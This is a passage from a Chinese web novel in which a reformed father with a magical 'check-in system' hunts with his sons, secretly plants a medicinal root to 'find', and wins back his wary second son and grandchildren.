江源应了一声,然后就满脸兴奋的纵身跳下了深坑,一阵折腾之后,顺利将那只猪獾从陷阱里捞了出来。
“这只獾子好肥啊,怕得有三十几斤!”
江源从陷阱里爬出来,一边拍着身上的灰尘,一边兴致勃勃的向江河及**说道:
“爹,三哥,咱们这次算是捞着了!”
“我以前可听贾郎中说过,山里的獾子一身是宝,尤其是它们这一身肥油,可是治疗烫伤的好宝贝,县里的药铺和医馆,都抢着收呢。”
“咱们逮到的这只獾子,这么重这么肥,肯定能炼出不少獾子油,能换不少钱呢!”
“嗯,算你小子还有点见识。”
江河轻笑着点了点头,道:
“獾油确实是好东西。不过,这獾子咱们自家先留着,肉能吃,油也能用,真到了急用钱的时候再说。”
说完,江河抬头看向**与江源,轻声向二人询问道:
“现在咱们已经猎到了两只野鸡,一只猪獾,收获还算是可以了。接下来,你们是想要直接回去,还是继续往山上走?”
**与江源想都没想就直接开口道:
“爹,我们好不容易才进一趟山,当然是想要再多寻些猎物了。现在时间还早,要不咱们再往里走一走?”
“行,那就再往里走走。”江河没有扫了兄弟俩的兴致,欣然点头同意。
反正签到奖励已经到手,接下来只需带着俩孩子在山里随便逛逛就好。
若是机会合适的话,他还可以再故技重施,碰巧“发现”几株何首乌或是野山参,合理创收。
第117章 江天:村里人咋都怪怪的?
三人继续向山林深处走去。
那只猪獾,还有那两只野鸡,分别放在了**与江源身后的竹篓里,由他们兄弟两个背着赶路。
江河走在前面,刻意放慢了脚步,一边走一边细心地观察着四周的环境。
打猎什么的他虽然并不在行,甚至可以说是毫无经验。
但是作为一个拥有了六十年八段锦修行经验与修行功力的小高手,江河如今的目力与耳力,远胜常人十倍。
在这片山林之中,他总是能够轻易发现一些别人不易察觉的踪迹,能够提前听到山林之中诸多动物走动或是飞行的声音。
这样的能力,纵使他不用签到系统**,也能在这深山老林之中轻易获取自己想要的猎物。
走了一段,江河忽然停下,蹲下身,探头朝不远处的一片灌木丛看去。
**与江源见状,也小心地放缓了脚步,缓缓地凑了过来。
“爹,咋了,可是发现猎物了?”**小声开口向江河询问。
江河抬手指了指二十几米远处的那片灌木丛,轻声道:
“看到那片灌木丛了吗,里面有几只野鸡在啄草籽,你们两个一左一右,悄悄摸过去,看看能不能活捉它们。”
**、江源闻言,眼睛骤然一亮,同时兴奋点头。
依着老爹的吩咐,他们一左一右,从两个方向朝着那片灌木丛包抄而去。
江河也没有闲着,就在**、江源不断靠近灌木丛的时候,他也身如灵猫一般快速从正面朝着灌木丛靠近。
咔嚓!
就在三人马上就要靠近灌木丛时,江源不小心踩到了一段枯树枝,发出了一声清脆的声响。
“咯咯咯!”
紧接着,灌木丛中便有一阵惊慌的鸡叫声响起。
足有七八只什锦野鸡拍打着翅膀,闪电般的飞出灌木丛。
**与江源全都呆愣在原地,根本就来不及反应。
唯有江河,在听到江源踩到枯树枝的声响时,整个身子就已经提前飞扑而出,双手向前朝着虚空猛的一抓。
再缩回手时,手里已经多了两只正在拼命扑腾着翅膀的肥硕野鸡,鸡脖子上还挂着几片干草叶。
“抓住了!爹竟然抓住了,而且还是两只!”江源忍不住高声惊呼,满眼的意外与兴奋之色。
**也是一样,全没想到老爹的反应竟然会那么快,只凭着一双手掌,就活捉了两只展翅欲飞的什锦野鸡!
这也……太厉害了!
徒手捉野鸡啊,就算是村子里最有经验的老猎手,也未必能够做得到啊!
可是他爹呢,刚刚却轻轻松松的就做到了!!
在此之前,他可是从来都没有想过,自己的老爹竟然还有这样牛逼的身手和抓取猎物的本事,这也太深藏不露了!
这时,江河已经提着两只活蹦乱跳的野鸡走了回来,随手将野鸡递给近前的**,道:“给,把它们捆好了。”
“哎!”
**连忙应了一声,伸手将两只野鸡接过,一边用竹篓里的绳子将两只野鸡捆好,一边满是崇拜地看着江河。
“爹,你这……也太厉害了吧!你是怎么做到的,能不能教教我?!”
“还有我还有我!爹,我也想学这一招!”
江源也跟着跑过来凑热闹。
徒手抓野鸡啊,他要是能把这一招给学会了,以后在村子里,在那些同龄的小伙伴跟前,还不得牛逼死!
江河看着两个儿子双眼放光,眸中满是渴求与崇拜的小眼神,心中有些好笑,又有些欣慰。
这两小子想学,他倒是不介意把自己会的教给他们。
只是,他刚刚所展现出来的手段,可是六十年八段锦功力所带来的身体素质和反应速度,哪是那么容易就能学会的?
“想学?”江河轻挑眉头,向两个儿子询问。
“想!”兄弟俩异口同声,满眼渴望。
“行!”江河爽快点头道:“回头我教你们一套强健身体的修炼方法,只要你们能够坚持每天练习,以后也能像我一样拥有这么灵敏的身手和眼力!”
看两个小子点头如捣蒜,满眼的兴奋、激动与希冀之色,江河话锋一转,提前给他们打起了预防针:
“不过,我得提前告诉你们,这套修行方法可不是一朝一夕就能练成的,需要持之以恒,勤修不辍,你们两个能坚持得下来吗?”
“能!”**挺起胸膛,眼神前所未有的执着与坚定:“只要能变得像爹一样厉害,再难我也能坚持住!”
“我也能!”江源不甘示弱,小手握成拳头。
“好!既然你们这么有信心,那从明天开始,你们就随我一起修行吧!”
江河笑着拍了拍两个儿子的肩膀,道:
“现在,咱们先把今天的事情做完。刚刚那群野鸡虽然被惊走了,但这附近应该还有别的收获,你们两个且去四下查探查探。”
**、江源现在对老爹的话可谓是奉若圣旨,闻言便马上开始执行。
二人撅着屁股钻入灌木丛中,不一会儿就听到江源欢声叫道:“这里有个野鸡窝,里面有十几个野鸡蛋!”
另一边,**也高声叫嚷道:“我这里更多,足足有二十六枚野鸡蛋呢!”
趁着两个小子去捡野鸡蛋的时候,江河则在旁边的树丛中,寻了一块满是落叶的软土地域,悄悄往里埋了一株五十年份的何首乌……
同一时间。
下河村东头的村口处。
江天带着媳妇孙芳和一对儿女,拎着大包小包从县城赶了回来。
“这不是江河家的二小子嘛,从县里回来看你爹啊?”
“真是个孝顺孩子啊,竟然买了这么多东西孝敬他爹!”
“江天哥回来啦,回头去我家耍啊!”
“江天兄弟回来了,这两年在县里过得咋样?”
“……”
一进村,江天与孙芳就觉得十分有十二分的不对劲。
往日里,他们从县城回来,村口那些闲坐的、做活的村民,多半是瞥一眼就转过脸去,或者干脆装作没看见,远远避着、躲着,没有人愿意主动搭理他们。
没办法,谁让他们
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是江河的儿子儿媳呢,摊上那么个远近闻名二赖子爹,谁也不想跟他们家搭上半点儿关系。
对此,不管是江天还是孙芳,全都已经**以为常了。
可今天这是怎么了?
咋个像是太阳打西边出来了一样,怎么村子里所有遇见他们的人,全都这么热情的主动上来跟他们打招呼?
孙芳心里有些打鼓,悄悄扯了扯丈夫的衣角,低声道:
“当家的,村里人这是咋了……怎么感觉全都怪怪的?”
江天也有些不解的微微皱起了眉头。
是啊,太古怪了。
以前这些人个个都避他们一家人如蛇蝎,怎么现在却变得这么的热情似火了?
这段时间,村子里到底发生了什么事情,怎么村里的这些人,全都变得让他有些不敢认了?
江天面色阴郁,心中有些不安,脚下的步伐不由开始加快,想要赶紧回家一探究竟。
从村东,一路走到村西。
路上又遇到了不少村民,不管是以前熟悉的还是不熟悉的,竟然全都客气且不失热情的主动跟他们打起了招呼。
在路过邻居王老四家的时候,王老四媳妇刘桂花看到江天一家四口后,脸上更是笑出一朵花来,远远的就开口跟江天打起了招呼:
“二郎还有孙芳回来了,要不要来婶子家里坐坐,喝杯热水再回去?”
“哟,这两个小可爱就是江飞和江玲吧,来来来,奶奶这里有饴糖,给你们甜甜嘴儿!”
刘桂花看到跟在江天与孙芳身边的两个小家伙,直接从怀里摸出两块饴糖来,分别递给了江飞与江玲。
两个小家伙不认得刘桂花,没敢伸手去接那两块饴糖,而是扭头看向他们的爹和娘。
江天冲他们点了点头,江飞与江玲才欢快的接过饴糖,并脆声向刘桂花说了句谢谢。
刘桂花连夸两个孩子有礼貌,不愧是在县城里长大的孩子,比他们家小豆子强了可不是一点儿半点儿。
“桂花婶,我们家是不是出什么事儿了?”
江天趁机开口向刘桂花打听道:
“我这次回来,怎么感觉村里人对我们的态度,跟以前完全不一样了?”
刘桂花闻言,不由了然轻笑道:
“这个婶子倒是知道,不过我建议你还是先回家看看,听听自己家里人是怎么说的。”
“我跟你说,你们家今天可热闹得很,昨天晚上你大姐他们一家,也被你爹和三郎给接了过来,你大姐夫他……”
啥?!
大姐也回来了?!
而且还是跟大姐夫一起回来的?!
完了!
江天心中一惊,大姐与爹之间的关系到底有多僵,他可是再清楚不过。
尤其是大姐夫,自打他跟大姐成婚之后,爹就一直不许他过来家里探亲,对他嫌弃得不得了。
现在大姐与大姐夫也回到了家里,老爹指不定又会闹出什么幺蛾子呢!
江天心中焦急,不等刘桂花把话说完,就急忙拉着媳妇和两个孩子,匆忙朝着不远处的家门前走去。
第118章 爹真的跟以前不一样了!
江河家。
赵穗与罗灵正坐在院子里的太阳底下,一边聊天一边缝补着衣物。
江沫儿一如往常,吃完早饭,就带着四个侄子侄女外加两个新来的外甥女,跑到院外亮堂的空地上玩耍去了。
江槐还有小儿子赵逸则待在东屋,一边用温水给赵诚擦拭着身子,一边陪他说着话。
赵诚虽然仍不能起身下床,但是连着吃了两顿有肉有蛋的饱饭之后,整个人都显得精神了不少。
“爹说等他赶山回来,就去请村里的贾郎中来给你瞧看瞧看,以后你若是好了,可不能忘了我爹今日的这番恩情。”
听到江槐念叨,赵诚接声道:“那是自然,不管以后我的腿能不能好,我都不会忘了爹对我的恩情……”
江槐连忙抬手捂住了赵诚的嘴巴,“不许说这样的丧气话,你的腿肯定能好!”
“之前你腿上的伤一直不好,是因为咱家没粮也没钱,请不起郎中给你瞧看用药。”
“现在有爹愿意出钱给你治伤看病,你的腿还有身上的病,很快就能好起来的……”
江槐的话还没有说完,就听到院门外砰的一声轰响,似乎是有人把家里的院门给撞开了。
江槐心中一惊,猛地站起身来,探身向外瞧看。
赵穗、罗灵也闻声扭头,看到竟是老二江天,手里拎着一个大竹篮,风风火火的撞门跑了进来。
妯娌俩见状,不由同时止住了手中的针线活,双双起身抬步迎了上去。
“二郎回来啦!怎么这么着急忙慌的,孙芳呢,还有两个孩子呢,没跟你一起回来吗?”
“是啊,二哥,爹不是说让你们一家四口全都回来吗?”
江天没有回答二人的问话,而是抬头在院子里环视了一圈,并没有看到他想见的那道身影,不由开口向赵穗及罗灵问道:
“大嫂,弟妹,我刚刚听隔壁的桂花婶子说,大姐还有大姐夫他们也回来了,这是咋回事儿?他们人呢?”
“江河他……没有把大姐和大姐夫怎么样吧?”
听到这话,赵穗与罗灵不由彼此对视一眼,瞬间就明白了江天刚刚为何会那么着急了。
他这是在担心爹还会像以前那样,不给大姑子一家好脸看,甚至还会直接出手暴揍大姑子一家。
还别说,这要是放在公爹性情没变之前,江天担心的这种情况百分百会发生。
她们可太清楚公爹以前的脾气有多坏多暴躁,对他们这些家人的态度又有多么恶劣了。
大姑子作为一个根本就不受公爹待见的女娃子,挨打挨骂几乎是家常便饭。
而赵诚,自打娶了大姑子之后,公爹硬是不让人家上门探亲,从来也没有在人前承认过这个姑爷。
公爹要是还跟以前那样暴戾无常的话,大姑子一家贸然回来,哪里会有什么好果子吃?
“二郎不必担心,你大姐和大姐夫他们都好着呢!”赵穗开口向江天说道:“咱爹跟以前不一样了,并没有苛责打骂他们半点儿。”
“是啊,二哥,爹现在已经变好了,昨天就是爹和三郎一起,去柳树村把大姐一家五口给接回来的。”
罗灵也接声开口,同时指着东边的屋子说道:
“大姐、大姐夫他们昨夜就住在东屋里,你要是不信,现在就可以过去看看。”
罗灵的话音刚落,院门外再次闯进来一大两小三道身影。
却是孙芳也提溜着一堆东西,带着两个孩子小跑着进了院子。
赵穗与罗灵见状,连忙上前接过孙芳手中的东西,同时热情的招呼他们进屋歇息。
“大嫂,弟妹,好久不见!”
孙芳气息微喘的跟两个妯娌打着招呼,目光则不由自主的落到了前面丈夫的身上。
就在妯娌三人寒暄说话的当口,江天已然放下手中拎着的篮子,径直走向了东屋。
“小天~!”
江槐这时也闻声打开了房门,看到已经及到近前的江天,忍不住激动的轻唤了一声,眼圈儿也在瞬间开始泛红并湿润了起来。
看到眼前这张再熟悉不过的脸庞,听着大姐一如既往的温柔呼唤,江天不由身形一震。
“大姐,你……你竟真的回来了?!”
江天同样有些眼红激动地看着站在门前,明显比以前消瘦、憔悴了许多的大姐,颤声问道:
“这几年……你过得还好吗?”
“江河有没有又去找你的麻烦?”
“你今天怎么也回来了?是不是江河那混蛋又胁迫你了……”
江天的问题一个接一个,根本就没有给江槐应答的时间。
“小天!”
江槐开口将江天还要再继续下去的问题打断,柔声说道:
“爹跟以前不一样了,你莫要再直呼爹的名字,被外人听到了,又要说闲话了。”
江天语气一顿,面上的神色微怔。
又是这句“爹跟以前不一样了”!
大嫂和三弟、三弟妹几人说这些也就罢了,现在就连一向对江河最有偏见,恨意最深的大姐,竟然也开始向着江河说话,又开始叫那个人爹了。
江河到底是对他们施了什么魔咒,怎么这些曾经**河深深伤害甚至**过的人,现在一提到江河,全都是这样一副恭顺、敬重的模样?
难道……他们的这个渣爹,竟然真的如老三之前所说的那样,幡然醒悟、浪子回头了?
想到这几天他在县里与江河的两次碰面,还有江河又是替他还债,又是往家里送钱送物的罕见举动,确实是与以往大有不同。
只是,江天还是有些难以相信,一个人的脾气秉性,竟然可以在短短几天的时间内,有着如此天翻地覆
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一般的巨大变化。
“媳妇儿,可是二弟回来了,快让他进来喝口水,歇歇脚!”
这时,屋里的赵诚也开口招呼了一句。
江槐闻言,直接伸手将站在门口的江天拉进了屋里。
进了屋,看到躺在床上的赵诚,还有他那条被包扎起来的断腿。
江天的神色不由一变,第一反应就是——这该不是江河给打的吧?
没办法,江河在他的固有印象中,就是一个蛮不讲理的暴力狂,他想不怀疑都难。
而且,三年前江河也曾不止一次在家里嚷嚷过,只要大姐敢将大姐夫带回家,他就会直接打断大姐夫的腿!
现在看到赵诚真的断了一条腿,江天自然会忍不住的往江河身上去联想。
“小天,我给你介绍一下,这是你大姐夫赵诚,前几天上山砍柴时不小心摔断了腿。”
看到江天刚刚在见到赵诚的伤腿之后,脸上神色的变化有些异常,江槐就知道这小子心里在想什么。
怕他会有误会,江槐便直接开口点明赵诚受伤的原因,同时轻声向江天说道:
“今年地里的收成欠佳,你姐夫又受了这么重的伤,我们在家里实在是活不下去了。
昨天若不是爹和老三过去把我们接回来,我们一家五口怕是就要饿死在家里了……”
说着,江槐就将昨天发生在柳树村的那些事情,事无巨细的一一跟江天说讲了出来,说到动情处,更是忍不住哽咽流泪。
江天听到竟是他们那个渣爹亲自过去柳树村,为大姐一家出头。
不但教训了想吃大姐一家绝户的恶婆婆等**,甚至还替大姐、大姐夫跟赵家老宅断了亲,彻底解了大姐一家的后顾之忧。
末了,渣爹更是主动开口,把大姐、大姐夫一家给接到了下河村来暂住,还说要给大姐夫请郎中治伤看病。
这……
江天惊愕的张大了嘴巴,感觉自己仿佛是在做梦。
他在同情大姐的不幸遭遇,痛恨并谴责大姐婆婆一家的所作所为的同时,也很迷惑和震惊于江河在整个事件中的异常举动。
这……还是他所认识的那个自私自利、只知从儿女身上榨取财物的渣爹吗?
他竟然还会主动出手帮助大姐,为大姐、大姐夫一家出头?
他以前不是最不待见大姐,觉得大姐是赔钱货,觉得大姐夫没出息,都不许他们一家登门走亲戚吗?
怎么现在,他却……
“小天,不是大姐刻意为爹说话,而是咱爹真的跟以前不一样了!”
见老二对爹似乎还有很深的成见,江槐不由开口向江天劝说道:
“一会儿爹赶山回来了,你可不许再像以前那样跟爹犟了。”
“你相信姐,只要你平心静气的跟爹相处,很快就会发现爹身上的诸多变化!”
第119章 爹竟然有这么厉害的吗?
江天听着大姐这番言辞恳切的劝说,看着她眼中对那个“爹”毫不掩饰的信任和依赖,他的心头不由微微一颤。
他张了张嘴,想说“江山易改本性难移”,想说“狗怎么能改得了吃屎,江河那样的**怎么能变成好人?”。
但是。
当他看到大姐憔悴面容上焕发出来的异样光彩。
看到已经残废的大姐夫眼中流露出的那份对未来的期盼和希冀。
他心中所有质疑和辩驳的话语,全都堵在喉咙里。
最终,他只是干涩地吐出一句:“我……知道了,大姐。”
他知道自己现在说什么都没用。
大姐、大姐夫,甚至**、江源和大嫂、三弟妹他们,都已经**河这几日的反常表现给彻底“迷惑”了。
他需要亲自去确认,亲眼去分辨。
看看这个江河葫芦里到底卖的什么药?
看看他究竟是真的浪子回头、幡然醒悟,还是在刻意伪装,盘算着什么见不得人的勾当?
“我们回来了!”
“哈哈哈,大嫂、三嫂,大姐,小妹,你们快出来看看,看看我们都在山里猎到了什么好东西!”
就在这时,院子里传来了**和江源兴奋的叫嚷声。
却是江河带着两个儿子从后山赶山归来。
**与江源二人,一人手里拎着两只不断扑腾着的什锦野鸡,一人怀里抱着一只三十余斤重的野生猪獾,兴奋激动的跑在前面,一脸的显摆与得瑟。
“是爹和三弟、四弟他们赶山回来了!”
听到外面的动静,江槐眼睛一亮,脸上露出由衷的笑意,连忙拉着江天往外走。
“走,小天,咱们出去看看,听这动静,爹他们今天进山肯定是收获不小!”
江天被半拉半拽着走出东屋。
他才不信江河与老三老四三人能在山里猎到什么好东西。
他们**家三代以内,就从来都没有出过一个正儿八经的猎人。
老三、老四种地是把好手,平常没事儿进山砍个柴,采个野果或是蘑菇什么的也还行。
至于其他的,不是当二哥的瞧不起他们,他们真的不是那块料。
至于江河。
呵呵。
江天连评价都懒得评价。
一个十几二十年都在家里好吃懒做、作天作地、作威作福的懒汉加二流子,还赶山狩猎?
别开玩笑了,他吃得起大山林之中来回奔波的那个苦么?
此时。
日头已上三竿。
院子里,阳光正好,温暖而明媚。
江天**槐拉着从东屋走出来的时候,赵穗、罗灵还有孙芳妯娌三人也从堂屋闻声走出。
当他们看到**源拎在手中的那两只色彩艳丽、扑腾着翅膀不断挣扎着的什锦野鸡。
看到被**抱在怀中,肥嘟嘟、毛绒绒,活像一只小野猪一样的獾子时,所有人都惊在了当场。
“咦,二哥、二嫂,你们已经回来啦!”
“江飞、江玲也回来了,太好了!今天咱们这一大家子,总算是全都聚齐了!”
看到二哥二嫂,还有江飞、江玲两个小家伙,先后从屋里出来,正在显摆着手中猎物的**与江源,脸上皆都露出了更加开怀与欣喜的笑容。
江天冲两个弟弟轻点了点头,目光紧盯着他们手中或抓或抱着的三只猎物,有些难以置信的向二人问道:
“老三、老四,这……这真的是你们在后山打到的?”
“那还能有假?”
**挺起胸膛,将怀的猪獾往上又拥了拥,脸上满是骄傲与得意的说道:
“这些都是我们在山里猎到的,怎么样,二哥,厉害吧?!”
“什么我们猎到的,三哥,你少往自己脸上贴金了,要是没有爹,咱们能捡到几只野鸡蛋就算是不错了!”
江源这小子毫不犹豫的就拆穿了**的老底,眉飞色舞的开始为在场几人讲起了他们在山林里的经历:
“大嫂,二哥、二嫂、三嫂还有大姐,你们是没看见啊,咱爹可厉害了,简直就是眼观六路,耳听八方……”
“……那灌木丛中的野鸡窝,我们本来是想要偷偷摸过去,把它们一网打尽的。”
“结果我不小心踩到了树枝惊动了它们,足足有十几只野鸡哗啦啦的一下子就飞起来了!”
“我和三哥都还没有反应过来,就见爹‘嗖’一下就扑过去,徒手就抓到了两只!”
“啥?徒手抓野鸡?!而且还一下抓到了两只?!”
真的还是假的?
爹竟然有这么厉害的吗?
江源这小子,别不是在吹牛吧?
赵穗、罗灵还有孙芳、江槐几人同时惊呼出声,不约而同的抬头看向一直站在**、江源二人的身后,神色平静淡然的江河,眼中满是不可思议。
“确实是这样,这两只野鸡就是爹徒手捉到的!”
**先是没好气的白了江源一眼,紧接着也开始为老爹作起证来。
“事实上,不止是那两只野鸡,就连我抱着的这只猪獾也是爹最先发现的,我们两个没帮上什么忙,就是在旁边打了个下手而已。”
“还有,在回来的路上,爹还发现了一株年份很足的何首乌,应该也能卖上不少钱……”
哇~!
众人同时发出了一声由衷的惊叹。
江源年纪小,性子跳脱,说话做事可能会有些不太全面。
但是**可是家里最稳重最老实的存在,他说出来的话,几乎没有人会过多怀疑。
现在连**都说这些猎物基本上都是江河一人狩猎所得,那十有**就是真的!
江天站在江槐身边,听着两个弟弟眉飞色舞的讲述,看着他们手中拎回来的这些实实在在的猎物,心中不由掀起了惊涛骇浪。
徒手抓住已经飞起的野鸡?
独自狩猎野猪獾?
甚至还采到了珍贵的山野药材?
这……这怎么可能会是一个常年好吃懒做、从来都没有进过山的懒汉二赖子能做到的?
他的目光不由自主地落在江河身上。
此刻的江河,穿着一身粗布衣衫,袖口和裤腿处都沾了些泥土草屑,腰间别着一把闪着寒光的砍柴刀。
挺身站在那里,如松如柏,神色平静,眼神清澈,浑
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身上下透着一股说不出的沉稳和干练劲儿。
这模样,这气度,哪里还有半分江天记忆中那个经常不干人事,整日吊儿郎当的渣爹的懒散模样?
“爹,您累了吧?快进屋歇歇,喝口水。”江槐连忙上前,想接过江河肩上的竹篓。
江河没有推辞,顺势将竹篓递给了江槐。
竹篓里面只有一些零散的山货和草药,并不是很重,倒也不怕这个体弱的大女儿会拎不动。
“累倒没太觉着累,山里空气清新,进去走走反而舒坦。”迎着江槐关切的目光,江河声音平和地开口应答。
江槐接过竹篓,小心放到堂屋檐下,又连忙去灶房给江河倒水。
赵穗、罗灵还有孙芳几人,仍围着**与江源,听他们讲述着此次进山狩猎时的诸多细节,不时发出惊呼赞叹。
江天站在原地,目光始终没有离开江河。
他看着江河接过江槐递来的粗瓷碗,仰头喝了几口水,然后用袖子随意抹了下嘴角,最后目光轻扫,径直朝他这边看来。
江天心神一颤,连忙低下头,不敢与江河对视。
事实上,他都不知道自己在害怕些什么。
明明早在三年前,他就已经在心里彻底的不认这个混账爹了,甚至还不止一次跟他大吵大闹过。
可现在,此时此刻,他竟然连跟这个混账爹对视的勇气都没有了。
“老二!”江河淡然开口向江天说道:“既然回来了,就别干看着了,跟老三、老四一起,把这些猎物处理一下,今天中午老子亲自下厨,给你们做顿好吃的!”
“哎!”
江天几乎是下意识地应了一声。
这声应和,没有经过大脑的思考,纯粹是身体的本能反应。
话一出口,他自己都愣了一下。
多少年了?他都没有这样干脆地应过江河的吩咐。
每一次,不是沉默对抗,就是冷言讥讽,哪怕是被迫做事,也总带着满腔的不情愿和深沉的怨气。
可这一次,这声“哎”却应得自然而然,仿佛他们之间从未有过那些龃龉与矛盾。
他愕然抬头,看向江河。
江河的脸上没什么特别的表情,没有因为他刚才的低头避让而露出不悦,也没有因为他这声干脆的应答而表现出太多意外。
只是很平常地对他点了点头,然后转身走向堂屋,边走边道:
“猪獾皮子完整,小心些剥,硝好了能用。野鸡后尾的鸡毛留着,攒多了给孩子们做毽子玩。”
他的语气随意,就像在跟任何一个家人交代一件再普通不过的家务事。
江天站在原地,看着江河走进堂屋的背影,心中那根紧绷了多年的弦,似乎“嘣”地一声,松开了些许。
没有想象中的责难痛骂,没有虚伪的客套寒暄,也没有刻意的讨好,更没有冰冷的无视。
这样随意自然的态度,仿佛他江天从来都是这个家的一份子,从未离开,也从未与家里生过间隙。
这种被“平常”对待的感觉,让江天觉得分外的轻松自在,同时心里还隐隐泛起了一丝尘埃落定的踏实感。
第120章 试药,【精华壮骨粉】
对待老二这样心思敏感且又脾气倔强的家伙,就得这样平淡自然些。
既不太过亲近殷切,又不刻意疏离冷淡,让他在不知不觉中重新融入到这个大家庭中。
交代完处理猎物的事情之后,江河便昂首挺胸,一脸高冷淡然的跨步走向堂屋。
不管怎么样,渣爹的人设不能丢……得太离谱。
虽然赵神婆已经被他给送进去了,就连老宅那帮人如今也在县大狱,再闹不出什么幺蛾子。
但江河也不敢表现得太过出格,免得会再被什么人给污蔑成是邪祟鬼怪。
“爷爷!”
“爷爷抱抱!爷爷抱抱!”
刚走没两步,江飞与江玲两个家伙就从孙芳的身后扑了过来,满脸欢喜与亲昵的高呼着爷爷。
尤其是小江玲,更是张开双臂求抱抱,两只大眼睛跟两颗黑葡萄似的一眨一眨的满是希冀的看着江河。
江河瞬间就被这小丫头给可爱到了,什么高冷、渣爹的人设刷的一下就碎了一地。
“哎哟,我的两个小乖孙也回啦!”
“来来来,快让爷爷抱抱!”
平静淡然的脸上,飞快地勾勒出了一抹欣喜慈祥的笑意,江河轻蹲下身,双臂平伸轻探,轻而易举的就一左一右的将江飞和江玲两个小家伙给抱在了怀里。
“小飞小玲,这两天在家里乖不乖,有没有想爷爷?”
“我们可乖了,也可想爷爷了!”
“爷爷爷爷,我想吃糖,你上次给我们的那个棒棒糖,可好吃了,小玲还想吃!”
“哈哈哈!好好好,想吃的话爷爷这就进屋给你们拿……”
祖孙三人就这样有说有笑的一同进了屋,留下江天、**、江源、江槐四兄妹,还有赵穗、罗灵、孙芳三妯娌,站在原地面面相觑。
“什么时候……爹竟然这么喜欢孩子了?”
“是啊,平常在家里,也没见爹对江娴、江涛、江夏、江琴他们几个小的这么亲近过啊?”
赵穗与罗灵语气有些泛酸的低声念叨了两句。
不说以前如何,就说公爹性情大变之后的这段时间。
虽然对家里人的态度有了极大的转变,不再像是以前那样嫌恶家里的小孩子吵闹了,甚至还不时会给几个孩子一些糖果零食什么的哄孩子开心。
但是,公爹却也从来都没有像是现在这样,如此亲昵欢喜的抱着孩子们逗弄玩闹啊。
难道真的是远亲近臭,越是靠眼前的就越不遭人待见?
想想昨天晚上,公爹似乎也这样抱着大姑子家的小儿子亲近了半天,还亲自喂小家伙吃了不少好吃的。
只是赵逸的年岁太小,又身体瘦弱,被公爹那样抱着哄着,赵穗与罗灵当时也并没有想太多。
可是现在,老二家的这俩孩子可是跟江娴、江涛差不多同龄的人,同样都是孙子孙女,公爹咋就对江飞、江玲这么亲近呢?
赵穗与罗灵嘴上不敢说公爹偏心,但是心里却忍不住的会有些不太舒服,总觉得自家的娃被公爹给区别对待了。
江天在一旁听着两个嫂子酸溜溜的低语,再看看江河抱着自己一双儿女时那毫不掩饰的欢喜模样,心中却像是打翻了五味瓶。
震惊、困惑、别扭……还有一丝连他自己都不愿承认的、微弱的暖意。
他记忆中的渣爹,对孩子,尤其是对女儿、孙女,从来都是嫌恶和不耐烦的。
嫌吵闹,嫌费粮食,嫌是“赔钱货”。
当年江玲出生时,江河作为爷爷,别说是为孙女准备什么吃穿用的东西了,甚至都没有正眼瞧看过一眼。
可现在……
这个抱着他女儿,笑得眼角的鱼尾纹都完全舒展开来,任由小丫头揪他头发、还不断往他脸上蹭口水的男人,真的还是他那个渣爹吗?
“大嫂、三弟妹,爹可能就是……隔辈亲,再加上确实好久没见小飞小玲了,所以才会……”
孙芳见赵穗与罗灵两人神色有异,连忙笑着打圆场。
事实上,她现在心里也很纳闷儿。
咋个公爹对她们家的两个孩子会这么喜欢?
竟当着全家人的面,直接把两个孩子抱了起来,还要进屋去给他们拿糖吃。
这也太反常、太让人意外了!
堂屋里面。
正在逗弄两个乖孙的江河,听到赵穗与罗灵这俩儿媳妇有些酸意的嘀咕声,两边的嘴角不由微微勾起。
他就知道,当他刻意表现出对江飞、江玲这两个从县城里回来的孙子孙女的过度喜爱与宠溺时,其他两个儿媳妇儿肯定会生些一些羡慕嫉妒的心思与情绪。
会觉得是他这个当爷爷的偏心,只喜欢老二家的孩子。
同样都是孙子孙女,凭什么老二家的这么受宠,而他们家的孩子却被区别对待,这也太不公平了!
这就是人性,不患寡而患不均。
江河就是想要通过这样的刺激,来促使赵穗与罗灵这俩儿媳妇儿,去教导孩子们主动过来“争宠”,主动寻他这个爷爷一起互动玩闹。
因为经过这段时日的相处江河已然发现,不管是江娴、江涛,还是江夏、江琴。
这四个从小在家里长大的小孙子孙女,虽然表面上已经跟他这个爷爷表现得很是亲近,每天也都爷爷爷爷的叫个不停。
可是却从来都不会主动凑到江河的身边撒娇、求抱,更别说是亲他了。
这说明什么?
这说明,在这些孩子的心里,对于他这个爷爷还是心存畏惧。
原身那狗西对他们常年的打骂、**所造成的心理阴影,始终都没有完全消除。
所以,不是江河不想要跟这几个孙子孙女亲昵玩闹。
而是这几个孙子孙女对他心存芥蒂,不敢跟他这个爷爷撒娇玩闹。
现在,江河就是要趁着这个机会,好好的宠溺一下江飞、江玲这两个对他并无半分畏惧之心的孙子孙女,给江娴、江涛、江夏、江琴几个娃娃打个样儿。
只有这样,他才能在与孩子们的亲密互动之中,快速消除孩子们心中的芥蒂与恐惧,从内心深处真正的接受他这个爷爷。
“行了行了,都别再多想了,爹现在变得喜欢孩子了难道还不好?”
**听到大嫂与罗灵之间满是酸意的对话,不由轻瞪了自己的媳妇儿一眼,坦声道:
“只要咱爹不再变回以前那个样子,怎么着我都没意见!”
赵穗与罗灵闻言,不由尴尬低头,终不敢再多说什么。
**说得不错,公爹再怎么变,再怎么偏心,也总好过还像是以前那样,对他们非打即骂,甚至连顿饱饭都不让他们吃。
“爷爷,糖糖好甜!”
“慢点吃,别噎着……小飞,你也吃。”
“爷爷,你还会进山打大老虎吗?”
“哈哈哈,大老虎可不好打,不过爷爷会打野鸡、野兔和獾子,一会儿就
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给你们做肉肉吃!”
“……”
这时候,堂屋里面传来了小江玲银铃般的欢笑声,还有江河那低沉中却带着几分愉悦的回应声。
听着这般温馨欢快的对话,江天、孙芳两口子彼此对视了一眼。
心中原本一直存在着的那点儿别扭与不自在,也瞬间被冲淡了不少。
不管江河是出于什么原因对孩子们好,至少,孩子们现在是开心的。
江天不再多想,转身看向已经被放到地上的猎物,沉声向**、江源说道:
“三弟,四弟,来,咱们抓紧时间,把爹交代的活干了。”
“哎,好嘞二哥!”
**和江源连忙应声,与江天一起把地上还有竹篓里的猎物全部取出,搬到院角的空当处,准备宰割处置。
“我去灶房烧水!”
“我去把菜刀拿出来!”
“我再去挑些水回来……”
赵穗、罗灵与孙芳也没有闲着,各自给自己找了些活干。
江槐原本也想伸手的帮忙,却**天、**、江源三兄弟给开口拦住。
“大姐,这点儿小活交给我们就足够了,你还是快回屋去照顾大姐夫吧!”
